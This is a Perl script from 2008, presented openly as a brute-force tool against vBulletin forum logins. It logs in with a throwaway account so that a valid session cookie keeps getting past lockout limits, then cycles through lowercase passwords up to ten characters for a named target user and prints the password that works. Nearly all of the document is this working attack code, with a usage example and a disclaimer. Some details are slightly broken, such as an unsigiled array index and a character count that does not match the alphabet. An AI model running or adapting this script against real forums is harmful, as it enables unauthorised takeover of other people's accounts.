#!/usr/bin/perl

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;
use Time::HiRes qw(gettimeofday);

$host = $ARGV[0];
$usern = $ARGV[1];
$passw = $ARGV[2];
$uname = $ARGV[3];
$url = "http://".$host;
$alpha = "abcdefghijklmnopqrstuvwxyz"; #charset
$charcount = 24; #number of chars in $alpha
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.
$count = 0;
$logins = 0;
$minchars = 1; #min chars
$maxchars = 10; #max chars

print q(
###########################################################
#                vBulletin brute forcer                   #
#              http://www.unnamedone.com                  #
#               brian_denys@hotmail.com                   #
#                  09 - April - 2008                      #
################## Coded By UnnamedOne ####################
);

if (@ARGV < 4)
{
   print " #  I am not responsible for anything that you do with this!\n";
   print " #  This has been tested on vBulletin 3.6.8 and 3.7.0!\n";
   print " #  usage : vbrute.pl [host & path] [user] [pass] [target]\n";
   print " #  E.g : vbrute.pl www.milw0rm.com/vBulletin3.6.8/ UnnamedOne MyPass str0ke\n";
   exit();
}

fakelogin();
for(my $t=$minchars;$t<=$maxchars;$t++)
{
   crack($t);
}

sub fakelogin {
   $xplr = LWP::UserAgent->new() or die;
   $cookie_jarr = HTTP::Cookies->new();
   $xplr->cookie_jar( $cookie_jarr );
   $resr = $xplr->post($url.'login.php?do=login',
   Content => [
   "vb_login_username"   => "$usern",
   "vb_login_password"   => "$passw",
   "do"      => "login",
   ],);
   if($cookie_jarr->as_string =~ /IDstack=(.*?);/) {
      #Do nothing..
   }
   else
   {
      #print $cookie_jarr->as_string;
      print "Forum not vulnerable or wrong username / password.\n";
      exit();
   }
}

sub crack {
   $xpl = LWP::UserAgent->new() or die;
   $cookie_jar = HTTP::Cookies->new();
   $CharSet = shift;
   @RawString = ();
   for (my $i =0;$i<$CharSet;$i++) {
      $RawString[i] = 0;
   }
   $Start = gettimeofday();
   do {
      for (my $i =0;$i<$CharSet;$i++)
      {
         if ($RawString[$i] > length($alpha)-1) {
            if ($i==$CharSet-1) {
               $cnt = 0;
               return false;
            }
            $RawString[$i+1]++;
            $RawString[$i]=0;
         }
      }
      $ret = "";
      for (my $i =0;$i<$CharSet;$i++) {
         $ret = $ret . substr($alpha,$RawString[$i],1);
      }
      $count++;
      if($count == 4) {
         fakelogin();
         $count = 0;
      }
      $xpl->cookie_jar( $cookie_jar );
      $res = $xpl->post($url.'login.php?do=login',
      Content => [
      "vb_login_username"   => "$uname",
      "vb_login_password"   => "$ret",
      "do"      => "login",
      ],);
      $cnt++;
      $Stop = gettimeofday();
      if ($Stop-$Start>$dbgtmr) {
         $cnt = int($cnt/$dbgtmr);
         $Start = gettimeofday();
      }
      $logins++;
      system("clear");
      $pro = ($logins / ($charcount * $maxchars));
      print "Current password: $ret\n";
      print "Login attempts: $logins\n";
      print "Cracking speed: $cnt passwords/sec\n";
      print "$pro% finished.\n";
      $cnt = 0;
      if($cookie_jar->as_string =~ /IDstack=(.*?);/) {
         print "Password cracked! => $ret\n";
         exit();

      }
      $RawString[0]++;
   }while($RawString[$CharSet-1]<length($alpha));
}